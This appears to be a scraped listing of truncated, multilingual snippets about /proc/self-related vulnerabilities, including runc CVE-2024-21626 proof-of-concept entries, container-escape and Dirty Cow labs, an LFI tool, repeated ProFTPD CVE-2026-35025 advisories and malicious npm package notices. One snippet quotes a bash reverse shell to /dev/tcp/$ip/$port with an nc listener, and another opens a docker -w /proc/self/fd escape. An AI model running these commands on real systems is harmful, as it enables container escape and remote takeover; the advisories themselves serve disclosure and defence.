CVE-2024-21626

CVE-2024-21626 Para una explicación detallada de esta vulnerabilidad, consulte mi artículo. Explotación Explotación mediante la ejecución de un contenedor No es necesario construir una imagen personalizada, solo ejecute un contenedor con el parámetro -w: root@kitploit: docker run -w /proc/self/fd...

whoc

whoc コンテナイメージであり、基盤となるコンテナランタイムを抽出してリモートサーバーに送信します。 お気に入りのCSPコンテナプラットフォームの基盤となるコンテナランタイムを突いてみましょう！ WhoC at Defcon 29 Cloud Village Azurescape - whoc を利用した研究、パブリッククラウド初のクロスアカウントコンテナ乗っ取り $70,000 の報奨金 仕組み runc の CVE-2019-5736 で示されているように、従来の Linux コンテナランタイムは、/proc/self/exe を介して実行中のコンテナに自身を公開します。whoc...

liffy

Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...

CVE-2024-21626

CVE-2024-21626 概念验证（POC） 要求 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 运行容器镜像并在bash shell中执行poc.sh root@kitploit:...

CVE-2026-5555-Container-Escape-via-proc-self-fd-Symlink-in-Shared-Volume

CVE-2026-5555 – 通过 /proc/self/fd 符号链接实现容器逃逸 概述 使用 rshared 传播方式挂载的共享卷允许恶意容器通过 /proc/self/fd 创建指向主机文件的符号链接。向该卷写入数据的主机进程会跟随该符号链接，覆盖关键主机文件，从而实现容器逃逸。 漏洞详情 类型： 容器逃逸 / 符号链接攻击 影响： 覆盖主机文件，可在主机上提权至 root。 根本原因： 容器运行时未能阻止攻击者通过 procfs 技巧创建指向容器挂载命名空间之外的符号链接。 漏洞利用演示 1. 启动模拟的主机日志服务： root@kitploit: python...

kernel-exploit-dirtycow

内核利用 — Dirty Cow CVE-2016-5195 作为 4Geeks Academy 网络安全专业化的一部分，通过 Dirty Cow 漏洞进行权限提升的实验室。 描述 Dirty Cow 是 Linux 内核内存子系统中的一个竞态条件（CVE-2016-5195），它允许无特权的本地用户对只读内存区域（包括 /etc/passwd）获得写访问权限。这使得无需管理员凭据即可直接提升至 root 权限。 环境 角色| 系统| IP ---|---|--- 攻击者| Kali Linux| 10.0.2.8 受害者| Ubuntu Server 16.04.1 — 内核...

php-bypass-disable-functions

php-bypass-disable-functions 演示项目，展示如何在 Linux 上绕过 PHP 的 disablefunctions 安全控制，其中进程可以通过标准文件操作（open/seek/read/write）经特殊的 /proc/self/map 文件检查和写入自身内存。 已在 PHP 7.3.5、x8664 Linux 上测试 另见：https://seclists.org/bugtraq/2019/May/52 如何使用 root@kitploit: regularuser@7981d86dd9aa:/$...

Linux Distros Unpatched Vulnerability : CVE-2026-35025

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restriction...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

EUVD-2026-38789

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025 ProFTPD ACL Bypass via /proc/self/root Path Prefix in RNFR

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025

ProFTPD versions affected: 1.3.9b and 1.3.10rc2. Issue: an access control bypass in the RNFR path handling allows authenticated FTP users to bypass Directory ACL restrictions by prefixing paths with /proc/self/root. Root cause: unresolved symlink components in dir_canonical_path() cause dir_check...

CVE-2026-35025 ProFTPD ACL Bypass via /proc/self/root Path Prefix in RNFR

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

CVE-2026-35025

ProFTPD through 1.3.9b and 1.3.10rc2 contains an access control bypass vulnerability that allows authenticated FTP users to circumvent Directory ACL restrictions by prefixing paths with /proc/self/root in the RNFR command handler. Attackers can exploit the unresolved symlink components in...

UNIX Symbolic Link (Symlink) Following

Overview Affected versions of this package are vulnerable to UNIX Symbolic Link Symlink Following in the OpenAtNoFollow process. An attacker can cause unintended file ownership or permission changes on host files by placing a symlink in the virt-launcher filesystem, which is then followed via...

PT-2026-52087

Name of the Vulnerable Software and Affected Versions KubeVirt affected versions not specified Description A flaw exists in the safepath package used by virt-handler. The OpenAtNoFollow function utilizes O PATH|O NOFOLLOW to obtain a file descriptor for a path leaf; however, subsequent operations...

PT-2026-51789

Name of the Vulnerable Software and Affected Versions ProFTPD versions 1.3.9b through 1.3.10rc2 Description An access control bypass allows authenticated FTP users to circumvent Directory ACL restrictions. By prefixing paths with /proc/self/root in the RNFR command handler, attackers can exploit...

Malicious code in @a91082900/test_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254 The package's main file index.js executes at module load, with no exports and no user-invoked API. On import it issues...

MAL-2026-3680 Malicious code in @a91082900/test_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254 The package's main file index.js executes at module load, with no exports and no user-invoked API. On import it issues...